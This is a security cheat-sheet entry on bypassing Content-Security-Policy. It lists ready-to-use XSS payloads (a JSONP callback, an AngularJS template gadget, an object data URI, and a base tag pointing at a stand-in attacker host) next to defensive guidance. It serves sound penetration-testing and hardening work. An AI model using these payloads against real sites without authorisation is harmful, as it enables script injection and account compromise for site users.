CSP bypass
TL;DR: Loose source lists, script-gadgets, jsonp endpoints, or base-uri abuse defeat the policy.
What it is
Content-Security-Policy restricts where scripts, styles, frames, and connections can come from. A bypass converts an injection primitive (HTML/JS injection) into actual JS execution despite the policy. Bypasses come from policy weakness, dangerous allowlisted origins, missing directives, or DOM gadgets in already-trusted code.
Preconditions / where it applies
- An HTML/attribute injection sink exists (otherwise nothing to bypass)
- A deployed CSP, but with one or more of:
unsafe-inline,unsafe-eval, broad host allowlists, missingbase-uri/object-src, no nonce/hash
Technique
- Read the policy —
curl -sIand checkContent-Security-Policyheader and<meta>variants. Use the CSP Evaluator to triage. unsafe-inlinepresent — bypass is trivial: inject<script>...</script>.- JSONP on an allowlisted CDN — allowlisted hosts hosting JSONP endpoints (
*.googleapis.com,*.googletagmanager.com, several Microsoft hosts) let you do:1
<script src="https://allowed.cdn/jsonp?callback=alert(1)//"></script>
- AngularJS / script-gadget. If an allowlisted CDN hosts AngularJS and the page parses any attacker-controlled attribute, Angular’s template engine evaluates expressions:
1
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>
- Missing
base-uri— inject<base href="//attacker.tld/">so relative-path scripts load from attacker. - Missing
object-src—<object data="data:text/html,<script>alert(1)</script>">or Flash variants. - Path-bypass on host-source — CSP host-source matches by host+path prefix but only on initial fetch; the redirect target is matched only by origin. Allowlisted
cdn.example.com/safe/+ an open redirect oncdn.example.comdefeats the path constraint. strict-dynamic+ dangling-trust — understrict-dynamic, any script loaded by a trusted (nonce/hash) script is itself trusted. Inject into a parser-trusted script’ssrc(e.g. via dom-clobbering of anid) — see dom-clobbering.- Nonce reuse — same nonce on multiple responses (caching) lets attacker reuse it cross-page.
report-only— not enforced; treat as “no CSP” for exploitation.- Policy injection — if request reflects into the response’s CSP header (rare but seen), inject a permissive directive.
Detection and defence
- Aim for nonce-based
script-src 'self' 'nonce-…' 'strict-dynamic'; object-src 'none'; base-uri 'none';. Dropunsafe-inlineandunsafe-eval. - Audit every host in the allowlist for JSONP / open redirects / user-uploadable content.
- Enforce
Trusted Typesto kill DOM XSS sinks even with a permissive script-src (trusted-types-bypass covers limits). - Use
report-uri/report-toand watch for violations indicating injection attempts. - Related: cross-site-scripting, dom-xss, dom-clobbering, trusted-types-bypass.
References
- PortSwigger — CSP — labs
- Weichselbaum et al. — CSP is dead, long live CSP — strict-dynamic motivation
- PayloadsAllTheThings — CSP bypass — payload corpus